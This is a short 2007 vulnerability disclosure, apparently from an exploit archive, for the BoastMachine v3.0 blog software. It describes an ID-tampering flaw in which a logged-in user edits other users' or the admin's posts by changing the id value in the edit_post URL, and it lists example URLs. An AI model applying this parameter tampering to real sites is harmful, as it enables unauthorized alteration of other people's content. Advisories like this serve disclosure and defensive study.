boastmachine-session.txt

`Vagrant - E-hack.org (05.22.2007)  
  
BoastMachine v3.0 platinum - Session Ýd Hacking  
  
After the login into the site which alllows new user registration. Site   
user's data which is entered to change the topic, can be changed by another   
user, and that is a security hole because of ID interchangeability in URL   
address space.  
  
If the changed topic belongs to the admin it doedn't affect the free login   
and site user has an authority to make changes and cop the topics.  
  
------- >>>  
  
Vulnerable;  
  
http://www.xxx.com/login.php  
  
http://www.xxx.com/user.php?action=list_posts  
  
Edit posts;  
http://www.e-hack.org/user.php?action=list_posts  
  
Post title edit;  
http://www.xxx.com/user.php?action=edit_post&blog=1&id=(155) = (Ýd)  
  
New Ýd;  
http://www.xxx.com/user.php?action=edit_post&blog=1&id=(154) = (Ýd)  
  
  
Credits : Vagrant  
Contact : [email protected]  
Site : www.e-hack.org  
  
_________________________________________________________________  
Siz de iletiþimin evrimine katýlýn!   
http://www.communicationevolved.com/tr-tr/  
  
`